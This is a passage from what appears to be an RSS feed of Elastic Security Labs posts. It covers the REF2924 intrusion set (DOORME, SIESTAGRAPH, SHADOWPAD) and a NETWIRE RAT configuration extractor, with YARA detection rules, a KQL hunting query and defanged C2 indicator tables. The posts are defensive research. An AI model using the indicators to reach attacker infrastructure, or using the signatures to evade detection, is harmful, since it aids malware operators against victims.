<p>In early December 2022, we <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">observed</a> Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member. Our research identified the presence of the DOORME backdoor, SHADOWPAD, and a new malware implant we call SIESTAGRAPH (discussed in the SIESTAGRAPH code analysis section above).</p>
<p>In researching the events of REF2924, we believe they are consistent with details noted by <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">Positive Technologies' research into ChamelGang</a>, and likely represent the actions of one group with shared goals.</p>
<h3>Undisclosed REF, ChamelGang</h3>
<p>Using the DOORME IIS backdoor that we collected during research into REF2924, we developed a scanner that identified the presence of DOORME on an internet-connected Exchange server at a second telecommunications provider in Afghanistan.</p>
<h3>Campaign associations</h3>
<p>Building associations between events, especially when relying on third-party reporting, is a delicate balance between surfacing value from specific observations and suppressing noise from circular reporting. Details reported by research teams and consisting of atomic indicators, techniques, procedures, and capabilities provide tremendous value in spotting associations between activity clusters. Elements of evidence that are repeated multiple times via circular reporting can lead to over-weighting that evidence. In analyzing these activity clusters, we have specific observations from our telemetry (host artifacts, capabilities, functionality, and adversary techniques) and third-party reporting consistent with our findings.</p>
<p>We use third-party reporting as supporting, but not factual, evidence to add context to our specific observations. It may be possible to verify a third-party had firsthand visibility of a threat, but that’s a rare luxury. We used estimative language in building associations where appropriate.</p>
<p>To uncover potential associations among these campaigns, we weighed host artifacts, tools, and TTPs more heavily than transitory atomic indicators like hashes, IP addresses, and domains.</p>
<p>We’ll discuss notable (non-exhaustive) overlaps in the following section.</p>
<h4>Campaigns 1 and 3</h4>
<p>Campaigns 1 (<a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">Winnti</a>) and 3 (<a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">REF2924, ChamelGang, Winnti</a>) are related by several elements: the use of the SHADOWPAD malware family, the specific file names ( <strong>log.dll</strong> and <strong>log.dll.dat</strong> ), and the injection technique using the same BitDefender hash.</p>
<h4>Campaigns 3 and 4</h4>
<p>Campaigns 3 (REF2924, ChamelGang, Winnti) and 4 (Undisclosed REF, ChamelGang) are related by the presence of a specifically configured DOORME backdoor and a shared national strategic interest for the adversary.</p>
<p>Using network scan results for about 180k publicly-accessible Exchange servers, and specific authentication elements uncovered while reverse engineering REF2924’s DOORME sample, we were able to identify an identical DOORME configuration at a second telecommunications provider in Afghanistan. This was a different victim than Campaign 2 (Undisclosed REF, Winnti).</p>
<p>While the DOORME IIS backdoor is not widely prevalent, simply having DOORME in your environment isn’t a strong enough data point to build an association. The presence of this DOORME configuration, when compared to a search of 180k other Exchange servers and the moderate confidence of the national strategic interests, led us to associate Campaigns 3 and 4 together with high confidence and that Campaign 4 was also a part of the same threat group.</p>
<h2>Summary</h2>
<p>DOORME allows for a threat actor to access a targeted network through the use of a backdoored IIS module on an internet-connected server. DOORME includes the capability to collect information about the infected host, upload shellcode chunks to evade detection, and execute shellcode in memory.</p>
<p>SIESTAGRAPH is an implant discovered by Elastic Security Labs that uses the Microsoft Graph API for command and control. The Graph API is used for interacting with Microsoft Office 365, so C2 communication would be largely masked by legitimate network traffic. Elastic Security Labs has reported the tenant ID hard coded into SIESTAGRAPH to Microsoft.</p>
<p>Based on our code analysis and the limited internet presence of DOORME and SIESTAGRAPH, we believe that this intrusion set is used by a limited distribution, or singular, threat actor.</p>
<p>SHADOWPAD is a modular malware family that is used as a way to load and execute shellcode onto a victim system. While it has been tracked since 2017, SHADOWPAD continues to be a capable and popular remote access and persistence tool.</p>
<p>The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group that appears focused on priorities that, when observed across campaigns, align with a sponsored national strategic interest.</p>
<h2>Detections</h2>
<h3>Hunting queries</h3>
<p>Hunting queries are used as a starting point for potentially malicious events, but because every environment is different, an investigation should be completed.</p>
<p>The following KQL query can be used to hunt for additional behaviors related to SIESTAGRAPH. This query looks for processes that are making DNS queries to graph.microsoft.com where the process does not have a trusted code-signing certificate or the process is not signed by Microsoft.</p>
<pre><code>dns.question.name : &quot;graph.microsoft.com&quot; and (process.code_signature.trusted : “false” or not (process.code_signature.subject_name : &quot;Microsoft Windows&quot; or process.code_signature.subject_name : &quot;Microsoft Windows Publisher&quot; or process.code_signature.subject_name : &quot;Microsoft Corporation&quot;)) and process.name : *
</code></pre>
<h3>Signatures</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoorMe.yar">Windows.Trojan.DoorMe</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SiestaGraph.yar">Windows.Trojan.SiestaGraph</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_ShadowPad.yar">Windows.Trojan.ShadowPad</a></li>
</ul>
<h3>YARA rules</h3>
<h4>The DOORME IIS module</h4>
<pre><code>rule Windows_Trojan_DoorMe {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-09&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;DoorMe&quot;
        threat_name = &quot;Windows.Trojan.DoorMe&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = &quot;.?AVDoorme@@&quot; ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}
</code></pre>
<h4>The SIESTAGRAPH implant</h4>
<pre><code>rule Windows_Trojan_SiestaGraph {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-14&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;windows&quot;
        arch_context = &quot;x86&quot;
        category_type = “Trojan”
        family = “SiestaGraph”
        threat_name = &quot;Windows.Trojan.SiestaGraph&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $a1 = &quot;downloadAsync&quot; ascii nocase fullword
        $a2 = &quot;UploadxAsync&quot; ascii nocase fullword
        $a3 = &quot;GetAllDriveRootChildren&quot; ascii fullword
        $a4 = &quot;GetDriveRoot&quot; ascii fullword
        $a5 = &quot;sendsession&quot; wide fullword
        $b1 = &quot;ListDrives&quot; wide fullword
        $b2 = &quot;Del OK&quot; wide fullword
        $b3 = &quot;createEmailDraft&quot; ascii fullword
        $b4 = &quot;delMail&quot; ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}
</code></pre>
<h4>The SHADOWPAD malware family</h4>
<pre><code>rule Windows_Trojan_ShadowPad_1 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-23&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD obfuscation loader+payload&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;ShadowPad&quot;
		threat_name = &quot;Windows.Trojan.ShadowPad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = { 87 0? 24 0F 8? }
		$a2 = { 9C 0F 8? }
		$a3 = { 03 0? 0F 8? }
		$a4 = { 9D 0F 8? }
		$a5 = { 87 0? 24 0F 8? }
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_2 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-31&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD loader&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;Shadowpad&quot;
		threat_name = &quot;Windows.Trojan.Shadowpad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = &quot;{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}&quot;
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_3 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-31&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD payload&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;Shadowpad&quot;
		threat_name = &quot;Windows.Trojan.Shadowpad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = &quot;hH#whH#w&quot; fullword
		$a2 = &quot;Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv&lt;Yuvb#tv1Yuv-8tv&amp;Yuv&quot; fullword
		$a3 = &quot;pH#wpH#w&quot; fullword
		$a4 = &quot;HH#wHH#wA&quot; fullword
		$a5 = &quot;xH#wxH#w:$&quot; fullword
		$re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
	condition:
		4 of them
}
</code></pre>
<h2>References</h2>
<ul>
<li><a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/">https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/</a></li>
<li><a href="https://www.secureworks.com/research/shadowpad-malware-analysis">https://www.secureworks.com/research/shadowpad-malware-analysis</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/bronze-university">https://www.secureworks.com/research/threat-profiles/bronze-university</a></li>
<li><a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/</a></li>
</ul>
<h2>Indicators</h2>
<p>Artifacts are available from the <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#observables">previously published REF2924 research</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/photo-edited-02@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[NETWIRE Dynamic Configuration Extraction]]></title>
            <link>https://www.elastic.co/jp/security-labs/netwire-dynamic-configuration-extraction</link>
            <guid>netwire-dynamic-configuration-extraction</guid>
            <pubDate>Mon, 30 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs discusses the NETWIRE trojan and is releasing a tool to dynamically extract configuration files.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>NETWIRE has shown an increase in prevalence over the last year</li>
<li>Elastic Security Labs created an extractor to pull out configuration data from NETWIRE files and memory dumps targeting the functions the malware uses to extract its encrypted data</li>
<li>The NETWIRE extractor is freely available for download</li>
</ul>
<blockquote>
<p>To download the NETWIRE configuration extractor, check out our post on the tool:</p>
<ul>
<li><a href="https://www.elastic.co/jp/security-labs/netwire-configuration-extractor">NETWIRE configuration extractor</a></li>
</ul>
</blockquote>
<h2>Preamble</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire">NETWIRE</a> is a Remote Access Tool (RAT) that has been used since at least 2014. It is a publicly available commodity malware and has been observed being used by financially motivated and nation-state actors.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/netwire-dynamic-configuration-extraction/image1.jpg" alt="NETWIRE observations over the past 12-months" /></p>
<p>In the second half of 2022, we noticed an uptick in the prevalence of NETWIRE usage in our telemetry data. This prompted the Elastic Security Labs team to develop a configuration extractor to assist the security community in collecting atomic indicators within the configurations. Using this extractor will support threat tracking and improve detection, prevention, and response times.</p>
<h2>Extractor</h2>
<p>The NETWIRE RAT uses the <a href="https://en.wikipedia.org/wiki/RC4">RC4 symmetric encryption</a> algorithm to protect its configuration which is encrypted in the <strong>.data</strong> section along with the 16 bytes long RC4 decryption key.</p>
<p>While reversing our samples the analysts noticed that for both the <strong>crypto::rc4_init_sbox</strong> and <strong>crypto::rc4_decrypt</strong> functions the second argument (#2 in the image below) is always a memory address for the desired encrypted configuration value, and the third argument (#3) is an immediate value written to the memory stack before the call which represents the size of the encrypted string.</p>
<p>It was also noted that the function calls are one after the other. This is important to allow us to structure the extractor to look for these functions sequentially.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/netwire-dynamic-configuration-extraction/image4.png" alt="NETWIRE's assembly code for the decryption function" /></p>
<p>With <strong>$key</strong> (from the above image) in mind, we created YARA rules to identify the location of the key and encrypted configuration values.</p>
<p>![YARA rule section that identifies the key and encrypted configuration](/assets/images/netwire-dynamic-configuration-extraction/image5.jpg</p>
<p>With this information we can then use <a href="http://www.capstone-engine.org/">Capstone</a> to:</p>
<ol>
<li>
<p>Locate the function responsible for decrypting the configuration using YARA.</p>
</li>
<li>
<p>Disassemble the function using Capstone.</p>
</li>
<li>
<p>Extract the RC4 key address and the encrypted configuration field addresses.</p>
</li>
<li>
<p>Extract the size of the configuration field.</p>
</li>
<li>
<p>RC4 decrypt the encrypted fields and rebuild the configuration.</p>
</li>
</ol>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/netwire-dynamic-configuration-extraction/image2.jpg" alt="Locating the RC4 key address and the encrypted configuration" /></p>
<p>![RC4 decrypting the configuration](/assets/images/netwire-dynamic-configuration-extraction/image5.jpg</p>
<p>Once we have recreated the configuration, we can use the extractor to pull out several parameters used by NETWIRE, as well as a few basic file characteristics:</p>
<ul>
<li><strong>Active Setup Key</strong> : <a href="https://attack.mitre.org/techniques/T1547/014/">Active Setup</a> registry key to achieve persistence.</li>
<li><strong>C2 IP list</strong> : List of command and control (C2) server domains or IP addresses.</li>
<li><strong>Host ID</strong> : A unique identifier that is assigned to the infected machine.</li>
<li><strong>Installation path</strong> : The location where the malware will be installed.</li>
<li><strong>Keylogger logs directory</strong> : The location where the keylogging log file will be stored.</li>
<li><strong>Mutex</strong> : Mutex name, to create a synchronization object to ensure only one instance of the sample is running on the machine.</li>
<li><strong>Password</strong> : Static password to generate AES key used for encrypting the communication between the malware and the C2 server.</li>
<li><strong>Run registry key entry</strong> : Name of the entry in the <a href="https://attack.mitre.org/techniques/T1547/001/">run registry</a>, used for persistence.</li>
<li><strong>Sleep in seconds</strong> : The amount of time the malware sleeps.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/netwire-dynamic-configuration-extraction/image6.jpg" alt="Sample output from configuration extractor" /></p>
<p>The configuration extractor accepts four parameters:</p>
<ul>
<li><strong>-f</strong> : to specify a single NETWIRE sample</li>
<li><strong>-d</strong> : To specify a directory of NETWIRE samples</li>
<li><strong>-o</strong> : To write the configuration in JSON format to the specified file</li>
<li><strong>--all-config</strong> : To print the unparsed raw decrypted configuration</li>
</ul>
<h2>Analysis</h2>
<p>We’ve used this extractor to examine a set of samples from the previous 180 days to extract indicators for further enrichment and analysis.</p>
<p>Our initially collected batch of samples came as a mixture of executable files and memory dumps. The extractor will only work on unmapped files, so the dumps which were already mapped were run through <a href="https://github.com/hasherezade/pe_unmapper"><strong>pe_unmapper</strong></a>.</p>
<p>When extracting a payload from memory, we are obtaining a memory-mapped version of it. This means that the <strong>&quot;Raw Address&quot;</strong> and <strong>&quot;Raw Size&quot;</strong> may not be correctly aligned with the correct section’s data. To correctly align the PE file, it is necessary to adjust the pointer to the raw address so that it matches the virtual address for every section.</p>
<p>Now we can run the configuration extractor with <a href="https://python-poetry.org/">Poetry</a> against our directory of unmapped binaries:</p>
<pre><code>**poetry lock**
**poetry install**
**poetry shell**
**netwire-config-extractor -d sample-dir/ -o output.ndjson**
</code></pre>
<p>This file, <strong>output.ndjson</strong> , can then be uploaded to Kibana for further analysis.</p>
<blockquote>
<p>Check out the <a href="https://www.elastic.co/jp/security-labs/the-elastic-container-project">Elastic Container project</a> to quick spin up an Elastic Stack and start analyzing structured security-relevant data.</p>
</blockquote>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/netwire-dynamic-configuration-extraction/image3.png" alt="Extracted NETWIRE configuration data" /></p>
<p>Next time you run into a NETWIRE sample, run it through our configuration extractor to pull out other indicators to help you on your analytic journey or begin remediating quicker.</p>
<h2>Detection</h2>
<h3>YARA</h3>
<p>These YARA rules can used to detect and identify NETWIRE RAT.</p>
<pre><code>rule Windows_Trojan_Netwire_1 {
   meta:
       author = &quot;Elastic Security&quot;
       os = &quot;Windows&quot;
       arch = &quot;x86&quot;
       category_type = &quot;Trojan&quot;
       family = &quot;Netwire&quot;
       threat_name = &quot;Windows.Trojan.Netwire&quot;
   strings:
       $a = { 0F B6 74 0C 10 89 CF 29 C7 F7 C6 DF 00 00 00 74 09 41 89 F3 88 5C }
   condition:
       all of them
}
rule Windows_Trojan_Netwire_2 {
   meta:
       author = &quot;Elastic Security&quot;
       os = &quot;Windows&quot;
       arch = &quot;x86&quot;
       category_type = &quot;Trojan&quot;
       family = &quot;Netwire&quot;
       threat_name = &quot;Windows.Trojan.Netwire&quot;
   strings:
       $a1 = &quot;[%.2d/%.2d/%d %.2d:%.2d:%.2d]&quot; fullword
       $a2 = &quot;\\Login Data&quot;
       $a3 = &quot;SOFTWARE\\NetWire&quot; fullword
   condition:
       2 of them
}
rule Windows_Trojan_Netwire_3 {
   meta:
       author = &quot;Elastic Security&quot;
       os = &quot;Windows&quot;
       arch = &quot;x86&quot;
       category_type = &quot;Trojan&quot;
       family = &quot;Netwire&quot;
       threat_name = &quot;Windows.Trojan.Netwire&quot;
   strings:
       $a = { C9 0F 44 C8 D0 EB 8A 44 24 12 0F B7 C9 75 D1 32 C0 B3 01 8B CE 88 44 }
   condition:
       all of them
}
rule Windows_Trojan_Netwire_4 {
   meta:
       author = &quot;Elastic Security&quot;
       os = &quot;Windows&quot;
       arch = &quot;x86&quot;
       category_type = &quot;Trojan&quot;
       family = &quot;Netwire&quot;
       threat_name = &quot;Windows.Trojan.Netwire&quot;
   strings:
       $a1 = &quot;http://%s%ComSpec&quot; ascii fullword
       $a2 = &quot;%c%.8x%s&quot; ascii fullword
       $a3 = &quot;%6\\6Z65dlNh\\YlS.dfd&quot; ascii fullword
       $a4 = &quot;GET %s HTTP/1.1&quot; ascii fullword
       $a5 = &quot;R-W65: %6:%S&quot; ascii fullword
       $a6 = &quot;PTLLjPq %6:%S -qq9/G.y&quot; ascii fullword
   condition:
       4 of them
}
</code></pre>
<h2>Indicators</h2>
<p>All indicators are also available <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte3d9f2700cdf6637/63d3f854e4e29e75dc5de351/9965-indicators.zip">for download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following indicators were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>139.28.38[.]235</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>149.102.132[.]253</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>184.75.221[.]115</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>185.136.165[.]182</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>185.140.53[.]139</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>185.140.53[.]144</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>185.140.53[.]154</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>185.140.53[.]61</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>185.216.71[.]251</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>194.36.111[.]59</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>194.5.98[.]126</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>194.5.98[.]178</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>194.5.98[.]188</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>194.5.98[.]65</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>212.193.29[.]37</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>212.193.30[.]230</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>213.152.161[.]249</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>217.151.98[.]163</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>23.105.131[.]166</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>37.0.14[.]199</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>37.0.14[.]203</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>37.0.14[.]206</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>37.0.14[.]208</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>37.0.14[.]214</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>37.120.217[.]243</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>51.161.104[.]138</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>54.145.6[.]146</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>80.66.64[.]136</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>85.209.134[.]105</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>85.31.46[.]78</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>94.156.35[.]40</td>
<td>ipv4-addr</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>20220627.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>admin96.hopto[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>alice2019.myftp[.]biz</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>asorock1111.ddns[.]net</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>banqueislamik.ddrive[.]online</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>betterday.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>bigman2021.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>blazeblaze.ddns[.]net</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>chongmei33.myddns[.]rocks</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>clients.enigmasolutions[.]xyz</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>gracedynu.gleeze[.]com</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>ingobea.hopto[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>iphanyi.edns[.]biz</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>iphy.strangled[.]net</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>kimlee11.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>loffgghh.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>megaton.gleeze[.]com</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>moran101.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>netuwaya.servecounterstrike[.]com</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>nowancenorly.ddns[.]net</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>podzeye.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>podzeye2.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>recoveryonpoint.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>redlinea[.]top</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>roller.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>rozayleekimishere.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>sani990.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>saturdaylivecheckthisout.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>uhie.hopto[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>uhie2020.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>wcbradley.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>xman2.duckdns[.]org</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
<tr>
<td>zonedx.ddns[.]net</td>
<td>domain-name</td>
<td>NETWIRE RAT C2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/netwire-dynamic-configuration-extraction/lock-code-combination-configuration.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[SiestaGraph: New implant uncovered in ASEAN member foreign ministry]]></title>
